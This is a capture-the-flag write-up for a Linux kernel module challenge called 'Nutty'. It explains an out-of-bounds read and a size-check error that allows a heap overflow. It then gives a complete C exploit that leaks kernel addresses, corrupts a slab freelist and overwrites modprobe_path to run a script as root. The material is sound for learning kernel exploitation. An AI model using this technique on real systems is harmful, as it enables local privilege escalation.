Nutty

Vulnerabilities

There are two vulnerabilities - one in create, one in append. Show and delete are perfectly safe.

Create

You may notice there are two different lengths or sizes the program takes in when creating - content_length and size. To grab your contents data, it uses the read_contents function

static char* read_contents(req* arg){ 
    char* to_read = (char*) arg->contents;
    int content_length = arg->content_length;
    if (content_length <= 0){
        printk(KERN_INFO "bad content length");
        return 0;
    }
    char* res = kmalloc(content_length, GFP_KERNEL);
    copy_from_user(res, to_read, content_length);
    return res;
}

As you can see, it uses kmalloc to get a page from the kernel with content_length being the size, and uses copy_from_user to copy into it. Nothing vulnerable here specifically, however

    nuts[i].size = size;
    nuts[i].contents = kmalloc(size, GFP_KERNEL);
    if (contents != 0){
        memcpy_safe(nuts[i].contents, contents, size);
        kfree(contents);
    }

The program kmallocs a new page for the nut contents, but this one's size is the size parameter. Furthermore, it memcpy's size bytes into it. The contents pointer from read_contents is from a chunk of size content_length, but size bytes are copied from it. If size is greater than content_length, that's an out of bounds read. We will use this later to leak.

Append

In the create function, the size is validated before usage. In the append function, the new size calculated is validated, however the size of the data you are appending is not. This doesn't seem consequential, but due to an error in the read_size function, it is.

static int read_size(req* arg){
    int size = arg->size;
    if (size < 0 || size >= 1024){
        printk(KERN_INFO "invalid size");
        return -EOVERFLOW;
    }
    return size;
}

The program doesn't check if the size outputted from read_size is -EOVERFLOW. Which means, if we send a size such that it is less than 0 or greater than/equal to 1024, it will return -EOVERFLOW as the size. This will be added to the original size of the nut we are appending to, giving the new size.

EOVERFLOW is 75 in the generic linux implementation. This means -75 will be added to get the new size - the new size will be smaller than the old size. Since all of the original data will be copied, and then some from our own contents, this gives oodles of overflow. More specifically - an out of bounds write. More specifically, we get 75 bytes of overflow from the original nut, and an additional -75 & 0x3ff(0x3b5, because of how memcpy_safe ANDs the difference with 0x3ff)

Leaking

If we, for example, send a content_length of 0x20 and a size of 0x60, 0x40 bytes outside of the first contents chunk will be read. I used this to find a list of useful kernel structures.

In kmalloc-32, we can cause a seq_operations struct to be allocated by opening a /proc/self/stat file. Said structures are freed when we close the file. What we'll want is for the allocation is to have a seq_operations struct right after it. We can achive this by allocating 20 structs(for good measure) and freeing every other one.

int fds[20];
    char contents[2048];
    memset(contents,0x41,32);
    unsigned long buf[24];
    memset(buf,0,sizeof(buf));
    for(int i = 0; i < 10; i ++){
        fds[i] = open("/proc/self/stat", O_RDONLY);
        fds[i + 10] = open("/proc/self/stat", O_RDONLY);
    }
    for(int i = 10; i < 20; i ++){
        close(fds[i]);
    }
    // Ideally, this creates a lot of open spaces right next to seq_operations structs in kmalloc-32
    create(0x60,contents,0x20); // 0
    show(0,buf);
    unsigned long kbase = buf[4] - seq_operations_start;
    printf("[*] Kernel base: %p\n",kbase);

We don't actually need this, but for good measure, the kernel heap can also be leaked. msg_msg structures are very easy to allocate, free and control the size of, making them invaluable for heap spraying. They can be any size from 0x31(controlled by message length) - I decided to target kmalloc-92. For this, a message length of 48 is needed.

We can run msgget, store the qid, and then msgsnd to allocate a msg_msg structure. The beginning of the msg_msg structure has a pointer to the previous structure, so we'll need 2 with a free chunk inbetween.

int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1){
        perror("Msgget failed");
    }
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,'B',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    create(0x60,contents,0x40); // 1, puts another chunk on kmalloc-96
    memset(msgbuf.mtext,'C',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    // kmalloc-96 is now as so
    /*
    Chunk 0(leak data)
    Msg 1
    Chunk 1
    Msg 2
    */
    // We free chunk 1 to create a space right before a msg_msg chunk
    delete(1);
    create(0xc0,contents,0x60); // 1
    show(1,buf);
    // Msg 2 is now in our buffer. It has some kheap pointers, specifically a pointer to Msg 1.
    unsigned long kheap_leak = buf[13];
    printf("[*] Kheap leak: %p\n",kheap_leak);
struct {
  long mtype;
  char mtext[0x30];
} msgbuf;

Now for the final part - gaining the write.

Exploiting the Overflow

Dumping the kmalloc-92 slab, we see the freelist pointers are in a normal order, and are not hardened. Its a singly linked list too, meaning with the overflow we can overwrite a pointer to force kmalloc to return a chunk wherever we want.

I spammed a few chunks to get rid of any possible free chunks in between other chunks. Then, I used pattern.py to generate a pattern which I dumped into the contents before appending. By appending to a chunk which is 0x60 + 75 in length, we get overflow on a chunk which is in kmalloc-92. When we allocate again with both sizes 0x60...

Contents allocated on slab, filled with our data. Controlled pointer at top of freelist
Nut contents allocated at controlled pointer, allocator tries to grab the next pointer for the freelist

When trying to grab the next pointer, it will reach a fault, attempting to access controlled pointer + 0x60. When the fault happens, we can subtract 0x60 and use pattern.py to find that the offset until the controlled pointer is 357.

Exploit path:

Set contents + 357 to the address we want to overwrite at
Create a nut with the contents being the data we wish to write

Now... we have a leak of the kernel base, so where to write?

The easiest place to write to is a symbol in the kernel called modprobe_path. When the kernel tries to resolve how to run a file with an unknown header, it will call the modprobe binary. The path of the modprobe binary is stored in modprobe_path. And, best of all, it'll be run as root.

\xff\xff\xff\xff is pretty much guaranteed to be an unknown header. If we try to run a file consisting of this, the kernel will run modprobe as root. If we've overwritten modprobe_path with the path to a bash script which has some malicious commands.

I copied my modprobe_hax function from fizzbuzz's hashbrown writeup(https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html) and changed the commands to fit.

void modprobe_hax()
{
    // Copied from https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/roooot");
    system("chmod +x /home/user/roooot");
    system("echo -ne '#!/bin/sh\ncp /root/flag.txt /flag.txt; chmod 777 /flag.txt' > /home/user/w\n");
    system("chmod +x /home/user/w");
    system("/home/user/roooot");
    return;
}

/home/user/w will copy the flag to the root directory and make it accessable to all users. All that is needed now is to set modprobe_path to /home/user/w.

After doing this, we can extract the flag.

~ $ ./exploit
./exploit
[*] Kernel base: 0xffffffffb8000000
[*] Kheap leak: 0xffffa07641c7ac60
0xffffffffb944cd40
/home/user/roooot: line 1: ����: not found
~ $ cat /flag.txt
cat /flag.txt
union{nutty_rarfs_pwning_kernelz}

Exploit

#include <fcntl.h>      /* open */
#include <unistd.h>     /* exit */
#include <sys/ioctl.h>  /* ioctl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <linux/ioctl.h>
#include <linux/tty.h>
#include <sys/syscall.h>
#include <assert.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
// Debugged locally with KASLR off
// Kbase - 0xffffffff81000000
// Module base - 0xffffffffc0000000
typedef unsigned long u64;
#define DEVICE_FILE_NAME "/dev/nutty"
unsigned long seq_operations_start = 0x1fa9e0;
unsigned long modprobe_path = 0x144cd40;
unsigned long arb_write = 0xe4605; // mov QWORD PTR[rdx], rsi ; ret
int fd;
struct nut {
    u64 size;
    char* contents;
};

typedef struct req {
    int idx;
    int size;
    char* contents;
    int content_length;
    char* show_buffer;
} req;

struct {
  long mtype;
  char mtext[0x30];
} msgbuf;
int create(int size, char* contents, int content_length){
    req args;
    args.size = size;
    args.contents = contents;
    args.content_length = content_length;
    return ioctl(fd,0x13371,&args);
}
int delete(int idx){
    req args;
    args.idx = idx;
    return ioctl(fd,0x13372,&args);
}
int show(int idx, char* show_buffer){
    req args;
    args.idx = idx;
    args.show_buffer = show_buffer;
    return ioctl(fd,0x13373,&args);
}
int append(int idx, int size, char* contents, int content_length){
    req args;
    args.idx = idx;
    args.size = size;
    args.contents = contents;
    args.content_length = content_length;
    return ioctl(fd,0x13374,&args);
}
void modprobe_hax()
{
    // Copied from https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
    char filename[65];
    memset(filename, 0, sizeof(filename));
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/roooot");
    system("chmod +x /home/user/roooot");
    system("echo -ne '#!/bin/sh\ncp /root/flag.txt /flag.txt; chmod 777 /flag.txt' > /home/user/w\n");
    system("chmod +x /home/user/w");
    system("/home/user/roooot");
    return;
}
int main(){
    fd = open(DEVICE_FILE_NAME,0);
    if (fd < 0){
        puts("Device file not found.");
        exit(0);
    }
    int fds[20];
    char contents[2048];
    memset(contents,0x41,32);
    unsigned long buf[24];
    memset(buf,0,sizeof(buf));
    for(int i = 0; i < 10; i ++){
        fds[i] = open("/proc/self/stat", O_RDONLY);
        fds[i + 10] = open("/proc/self/stat", O_RDONLY);
    }
    for(int i = 10; i < 20; i ++){
        close(fds[i]);
    }
    // Ideally, this creates a lot of open spaces right next to seq_operations structs in kmalloc-32
    create(0x60,contents,0x20); // 0
    show(0,buf);
    unsigned long kbase = buf[4] - seq_operations_start;
    printf("[*] Kernel base: %p\n",kbase);
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1){
        perror("Msgget failed");
    }
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,'B',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    create(0x60,contents,0x40); // 1, puts another chunk on kmalloc-96
    memset(msgbuf.mtext,'C',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    // kmalloc-96 is now as so
    /*
    Chunk 0(leak data)
    Msg 1
    Chunk 1
    Msg 2
    */
    // We free chunk 1 to create a space right before a msg_msg chunk
    delete(1);
    create(0xc0,contents,0x60); // 1
    show(1,buf);
    // Msg 2 is now in our buffer. It has some kheap pointers, specifically a pointer to Msg 1.
    unsigned long kheap_leak = buf[13];
    printf("[*] Kheap leak: %p\n",kheap_leak);
    // Returns -EOVERFLOW if size is incorrect. -EOVERFLOW 75
    create(0x60,contents,0x60); // 2
    create(0x60,contents,0x60); // 3
    create(0x60,contents,0x60); // 4
    *(long *)(contents + 357) = kbase + modprobe_path;
    strcpy(contents,"exploit"); // make it identifiable so I can find it when debugging
    create(0x60 + 75,contents,0x60 + 75); // 5
    append(5,2048,contents,2048); // Break into kmalloc-96, overflow freelist pointer to modprobe_path
    create(0x60,"/home/user/w",0x60); // Overwrite modprobe
    printf("modprobe_path: %p\n",kbase + modprobe_path);
    modprobe_hax();
}

Flag: union{nutty_rarfs_pwning_kernelz}

Last updated